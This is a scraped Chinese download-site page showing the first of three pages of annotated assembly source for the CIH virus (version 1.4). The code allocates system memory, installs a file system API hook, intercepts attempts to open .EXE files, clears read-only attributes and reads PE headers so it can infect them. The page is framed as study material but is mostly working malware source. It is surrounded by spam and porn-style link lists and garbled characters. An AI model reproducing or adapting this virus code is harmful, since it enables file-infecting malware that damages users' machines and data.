亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? _cih病毒1.4版本之中文注釋.txt

?? 匯編格式的CIH病毒的源碼分析文件,包括1.1-1.4版本,通過對此病毒的分析,可以對WINDOWS系統有更深入的了解
?? TXT
?? 第 1 頁 / 共 3 頁
字號:
push 00000000fh ; 
push ecx ; 
push 0ffffffffh ; 
push ecx ;調用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM, 
;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
;ULONG flags); 
push ecx ; 
push ecx ; 
push 000000001h ; 
push 000000002h ; 
int 20h ; VMMCALL _PageAllocate;VXD調用
_PageAllocate = $ ; 
dd 00010053h ; Use EAX, ECX, EDX, and flags 
add esp, 08h*04h ;恢復棧指針 

xchg edi, eax ; EDI = SystemMemory Start Address 
; EDI指向分配好的系統內存首址 
lea eax, MyVirusStart-@2[esi] ;eax指向病毒開始處 

iretd ; Return to Ring3 Initial Program ;退出中斷,回3級(回到"Merge All Virus Code Section") 

; ************************************* 
; * Install My File System Api Hook * 
; ************************************* 

InstallMyFileSystemApiHook: 

lea eax, FileSystemApiHook-@6[edi] ;指向文件系統鉤子程序首址 

push eax ; 
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ ; 
dd 00400067h ; Use EAX, ECX, EDX, and flags 
;在調用后變為call [IFSMgr_InstallFileSystemApiHook] 
mov dr0, eax ; Save OldFileSystemApiHook Address 
;保存原來的文件系統鉤子程序首址到dr0(改調用的返回值是前一個鏈值) 
pop eax ; EAX = FileSystemApiHook Address 

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 
mov edx, [ecx] ;edx為IFSMgr_InstallFileSystemApiHook功能的地址 
mov OldInstallFileSystemApiHook-@3[eax], edx ?;保存 

; Modify IFSMgr_InstallFileSystemApiHook Entry Point 
lea eax, InstallFileSystemApiHook-@3[eax] 
mov [ecx], eax ?;設置新的IFSMgr_InstallFileSystemApiHook功能調用的地址 
;使指向InstallFileSystemApiHook 
cli 

jmp ExitRing0Init ?;退出0級(int 3 or int 5) 

; ********************************************************* 
; * Code Size of Merge Virus Code Section * 
; ********************************************************* 

CodeSizeOfMergeVirusCodeSection = offset $ 

; ********************************************************* 
; * IFSMgr_InstallFileSystemApiHook * 
; ********************************************************* 

InstallFileSystemApiHook: ;新的IFSMgr_InstallFileSystemApiHook功能調用 
push ebx 

call @4 ; 
@4: ; 
pop ebx ; mov ebx, offset FileSystemApiHook ;獲得當前指令的偏移地址 
add ebx, FileSystemApiHook-@4 ;加上偏移的差=FileSystemApiHook的偏移 

push ebx 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook ;調用VXD移去指向FileSystemApiHook的鉤子 
IFSMgr_RemoveFileSystemApiHook = $ 
dd 00400068h ; Use EAX, ECX, EDX, and flags ;調用號 
pop eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link Client FileSystemApiHook 
push dword ptr [esp+8] 
call OldInstallFileSystemApiHook-@3[ebx] ;調用原來的IFSMgr_InstallFileSystemApiHook功能設置鉤子 
pop ecx 

push eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link My FileSystemApiHook 
push ebx 
call OldInstallFileSystemApiHook-@3[ebx] ;調用原來的IFSMgr_InstallFileSystemApiHook功能設置鉤子 
pop ecx 

mov dr0, eax ; Adjust OldFileSystemApiHook Address ;調整原來的地址 

pop eax 

pop ebx 

ret 

; ********************************************************* 
; * Static Data * 
; ********************************************************* 

OldInstallFileSystemApiHook dd ? ;原來的InstallFileSystemApiHook調用的地址 

; ********************************************************* 
; * IFSMgr_FileSystemHook * 
; ********************************************************* 

; ************************************* 
; * IFSMgr_FileSystemHook Entry Point * 
; ************************************* 

FileSystemApiHook: ;安裝好的文件系統鉤子 
@3 = FileSystemApiHook 

pushad ;保存寄存器(20h長) 

call @5 ; 
@5: ; 
pop esi ; mov esi, offset ;esi為當前指令的偏移 
add esi, VirusGameDataStartAddress-@5 
;esi為FileSystemApiHook的偏移加上到VirusGameDataStartAddress的偏移之差=VirusGameDataStartAddress的偏移

; ************************************* 
; * Is OnBusy !? * 
; ************************************* 

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) ;測試"忙"標志
jnz pIFSFunc ; goto pIFSFunc ;"忙"則轉到pIFSFunc

; ************************************* 
; * Is OpenFile !? * 
; ************************************* 

; if ( NotOpenFile ) 
; goto prevhook 
lea ebx, [esp+20h+04h+04h] ;ebx為FunctionNum的地址
;文件系統鉤子的調用格式如下 
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)

;助標2 
cmp dword ptr [ebx], 00000024h ;測試此次調用是否是為了打開文件
;在DDK的ifs.h中定義的#define IFSFN_OPEN 36 
jne prevhook ;不是就跳到前一個文件鉤子去 

; ************************************* 
; * Enable OnBusy * 
; ************************************* 

inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;設置"忙"標志為"忙" 

; ************************************* 
; * Get FilePath's DriveNumber, * 
; * then Set the DriveName to * 
; * FileNameBuffer. * 
; ************************************* 
; * Ex. If DriveNumber is 03h, * 
; * DriveName is 'C:'. * 
; ************************************* 

; mov esi, offset FileNameBuffer 
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer 

push esi ;保存之 

mov al, [ebx+04h] ;ebx+4為int Drive的地址 
cmp al, 0ffh ;是否是UNC(universal naming conventions)地址 
je CallUniToBCSPath ;是就轉 

add al, 40h 
mov ah, ':' 

mov [esi], eax ;處理成"X:"的形式 

inc esi 
inc esi 

; ************************************* 
; * UniToBCSPath * 
; ************************************* 
; * This Service Converts * 
; * a Canonicalized Unicode Pathname * ;把Canonicalized Unicode的字符轉換為普通的BCS字符集 
; * to a Normal Pathname in the * 
; * Specified BCS Character Set. * 
; ************************************* 
;調用方法 UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)


CallUniToBCSPath: 
push 00000000h ;字符集 
push FileNameBufferSize ;字符長度 
mov ebx, [ebx+10h] 
mov eax, [ebx+0ch] 
add eax, 04h 
push eax ;Uni字符首址 
push esi ;BCS字符首址 
int 20h ; VXDCall UniToBCSPath ;調用UniToBCSPath 
UniToBCSPath = $ 
dd 00400041h ;調用id 
add esp, 04h*04h 

; ************************************* 
; * Is FileName '.EXE' !? * 
; ************************************* 

; cmp [esi+eax-04h], '.EXE' 
cmp [esi+eax-04h], 'EXE.' ;測試是否是*.EXE(可執行)文件 
pop esi 
jne DisableOnBusy 

IF DEBUG 

; ************************************* 
; * Only for Debug * 
; ************************************* 

; cmp [esi+eax-06h], 'FUCK' 
cmp [esi+eax-06h], 'KCUF' ;如果是測試用途則測試是否是"FUCK.EXE" 
jne DisableOnBusy 

ENDIF 

; ************************************* 
; * Is Open Existing File !? * 
; ************************************* 

; if ( NotOpenExistingFile ) 
; goto DisableOnBusy 
cmp word ptr [ebx+18h], 01h ;測試是否打開 
jne DisableOnBusy 

; ************************************* 
; * Get Attributes of the File * 
; ************************************* 

mov ax, 4300h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/GET_ATTRIBUTES) 
int 20h ; VXDCall IFSMgr_Ring0_FileIO ;調用IFSMgr_Ring0_FileIO的獲得文件屬性的功能 
IFSMgr_Ring0_FileIO = $ 
dd 00400032h ;調用號 

jc DisableOnBusy ;失敗否? 

push ecx 

; ************************************* 
; * Get IFSMgr_Ring0_FileIO Address * 
; ************************************* 

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 
mov edi, [edi] ;獲得IFSMgr_Ring0_FileIO調用的地址 

; ************************************* 
; * Is Read-Only File !? * 
; ************************************* 

test cl, 01h 
jz OpenFile ;測試是否是只讀文件 

; ************************************* 
; * Modify Read-Only File to Write * 
; ************************************* 

mov ax, 4301h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/SET_ATTRIBUTES ) 
xor ecx, ecx 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;調用IFSMgr_Ring0_FileIO的改文件屬性功能,使文件可寫


; ************************************* 
; * Open File * 
; ************************************* 

OpenFile: 
xor eax, eax 
mov ah, 0d5h ;IFSMgr_Ring0_FileIO的打開文件功能號(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)
xor ecx, ecx ;文件屬性 
xor edx, edx 
inc edx 
mov ebx, edx 
inc ebx ;esi為文件名首址 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;調用IFSMgr_Ring0_FileIO的打開文件功能 

xchg ebx, eax ; mov ebx, FileHandle ;在ebx中保存文件句柄 

; ************************************* 
; * Need to Restore * 
; * Attributes of the File !? * 
; ************************************* 

pop ecx 

pushf 

test cl, 01h 
jz IsOpenFileOK ;是否需要恢復文件屬性(有寫屬性就不需要恢復了) 

; ************************************* 
; * Restore Attributes of the File * 
; ************************************* 

mov ax, 4301h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/SET_ATTRIBUTES) 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;恢復文件屬性 

; ************************************* 
; * Is Open File OK !? * 
; ************************************* 

IsOpenFileOK: 
popf 

jc DisableOnBusy ;打開是否成功? 

; ************************************* 
; * Open File Already Succeed. ^__^ * 
; ************************************* 

push esi ; Push FileNameBuffer Address to Stack ;把文件名數據區首址壓棧 

pushf ; Now CF = 0, Push Flag to Stack ;保存標志位 

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;esi指向數據區首址 

; *************************** 
; * Get OffsetToNewHeader * 
; *************************** 

xor eax, eax 
mov ah, 0d6h ;IFSMgr_Ring0_FileIO的讀文件功能號(R0_READFILE) 

; For Doing Minimal VirusCode's Length, 
; I Save EAX to EBP. 
mov ebp, eax 

push 00000004h ;讀取4個字節 
pop ecx 
push 0000003ch ;讀取dos文件頭偏移3ch處的Windows文件頭首部偏移 
pop edx 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀文件到esi 

mov edx, [esi] ;Windows文件頭首部偏移放到edx 

; *************************** 
; * Get 'PE\0' Signature * 
; * of ImageFileHeader, and * 
; * Infected Mark. * 
; *************************** 

dec edx 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产一区视频网站| 日韩高清在线不卡| 精品久久久久久久一区二区蜜臀| 色妹子一区二区| av电影在线观看一区| 成人网在线播放| 99久久国产免费看| caoporn国产一区二区| 成人精品视频一区二区三区尤物| 国产成人精品在线看| 国产成人在线观看免费网站| 国产精品一区二区无线| 高清av一区二区| av在线一区二区| 色婷婷香蕉在线一区二区| 色哟哟国产精品| 欧美一区国产二区| 26uuu亚洲综合色| 国产亚洲综合性久久久影院| 中文字幕乱码一区二区免费| 中文字幕在线观看不卡| 亚洲天堂久久久久久久| 亚洲黄色性网站| 热久久一区二区| 国模大尺度一区二区三区| youjizz久久| 欧美亚一区二区| 精品福利一区二区三区免费视频| 久久久午夜电影| 亚洲情趣在线观看| 蜜臀av亚洲一区中文字幕| 蜜桃一区二区三区四区| 国产麻豆9l精品三级站| av一区二区不卡| 91精品国产综合久久久久久| 久久综合色播五月| 亚洲欧美精品午睡沙发| 日本少妇一区二区| 成人av免费在线| 欧美日韩一级二级| 日本一区二区三区在线不卡| 亚洲精品第1页| 激情综合色播五月| 在线免费一区三区| 国产欧美在线观看一区| 亚洲国产一区在线观看| 国产精品一区二区三区99| 欧美三日本三级三级在线播放| 26uuu国产一区二区三区| 亚洲一二三专区| 成人国产精品视频| 欧美成人aa大片| 亚洲成人免费电影| av在线不卡免费看| 久久先锋资源网| 日韩精品视频网| 欧美性三三影院| 亚洲欧洲国产日本综合| 国产在线播放一区三区四| 欧美性受xxxx黑人xyx| 国产精品久久久久久久裸模 | 国产精品综合一区二区| 欧美性生活一区| 一区二区三区中文字幕在线观看| 国产精品一二二区| 精品1区2区在线观看| 久久se这里有精品| 日韩视频在线永久播放| 丝袜a∨在线一区二区三区不卡| 91久久香蕉国产日韩欧美9色| 欧美国产精品劲爆| 成人永久aaa| 久久久久免费观看| 福利电影一区二区三区| 欧美v亚洲v综合ⅴ国产v| 免费视频最近日韩| 日韩欧美国产一区在线观看| 青青草国产成人av片免费| 正在播放一区二区| 麻豆国产一区二区| 精品乱码亚洲一区二区不卡| 美女免费视频一区| 久久久久久久综合狠狠综合| 国产一区二区主播在线| 国产欧美一区二区三区鸳鸯浴| 激情综合一区二区三区| 久久精品欧美日韩精品| 成人黄色在线网站| 亚洲激情中文1区| 欧美人伦禁忌dvd放荡欲情| 一区二区不卡在线视频 午夜欧美不卡在| caoporn国产精品| 亚洲成人免费av| 91精品免费观看| 国产精品一区免费视频| 亚洲嫩草精品久久| 欧美裸体一区二区三区| 久久国产生活片100| 久久久久国产精品厨房| 99精品热视频| 日韩av不卡一区二区| 久久蜜桃一区二区| 国产伦精品一区二区三区在线观看| 久久中文字幕电影| 91看片淫黄大片一级| 日韩中文字幕区一区有砖一区| 欧美精品一区二区精品网| 91视视频在线直接观看在线看网页在线看| 夜夜揉揉日日人人青青一国产精品| 欧美老女人第四色| 国产大陆亚洲精品国产| 亚洲欧美日韩国产一区二区三区| 9191久久久久久久久久久| 久久97超碰国产精品超碰| 《视频一区视频二区| 日韩手机在线导航| 日本乱人伦一区| 国产麻豆精品95视频| 亚洲国产精品久久久久秋霞影院 | 99久久精品国产观看| 秋霞电影网一区二区| 国产精品国产三级国产| 91精品国产欧美一区二区成人| 懂色av一区二区三区蜜臀| 五月激情综合网| 自拍视频在线观看一区二区| 欧美一级理论片| 在线免费av一区| 成人激情黄色小说| 国产酒店精品激情| 另类人妖一区二区av| 亚洲图片有声小说| 综合精品久久久| 国产农村妇女毛片精品久久麻豆 | 亚洲永久精品国产| 国产三级一区二区三区| 日韩视频一区二区在线观看| 欧美性大战久久| 色偷偷久久人人79超碰人人澡| 国产成人在线免费| 国产黑丝在线一区二区三区| 日本va欧美va精品| 天涯成人国产亚洲精品一区av| 亚洲欧美日韩久久| 亚洲日本在线天堂| 亚洲免费观看在线观看| 国产精品视频麻豆| 久久精品亚洲精品国产欧美 | 国产欧美日本一区视频| 日韩欧美色电影| 欧美人体做爰大胆视频| 精品婷婷伊人一区三区三| 成人动漫一区二区三区| 成人高清视频在线| 岛国av在线一区| www.日韩在线| 色吧成人激情小说| 91久久香蕉国产日韩欧美9色| 日本韩国一区二区| 欧美色综合网站| 欧美一级欧美一级在线播放| 日韩一区二区在线观看视频| 精品欧美黑人一区二区三区| 日韩精品一区在线观看| xvideos.蜜桃一区二区| 欧美国产精品一区二区| 自拍偷在线精品自拍偷无码专区| 亚洲日本一区二区| 天堂蜜桃一区二区三区 | 成人动漫一区二区三区| 91麻豆国产自产在线观看| 欧美一a一片一级一片| 欧美午夜一区二区三区 | 国产精品成人一区二区三区夜夜夜| 国产精品免费久久| 亚洲制服丝袜在线| 日本亚洲三级在线| 国产高清视频一区| 91亚洲精品久久久蜜桃网站 | 国产精品久久久久久久久晋中| 亚洲欧洲av一区二区三区久久| 亚洲国产精品视频| 国产精品一二三在| 欧美日韩不卡一区二区| 久久久久国产精品麻豆| 亚洲制服丝袜av| 国产经典欧美精品| 欧美丝袜丝nylons| 久久久久久久网| 午夜精品一区二区三区电影天堂| 毛片不卡一区二区| 91黄色在线观看| 精品国产三级a在线观看| 亚洲欧美一区二区三区极速播放| 日韩经典中文字幕一区| av网站一区二区三区| 欧美成人在线直播| 亚洲一区电影777| 成人a免费在线看| 精品日韩一区二区三区|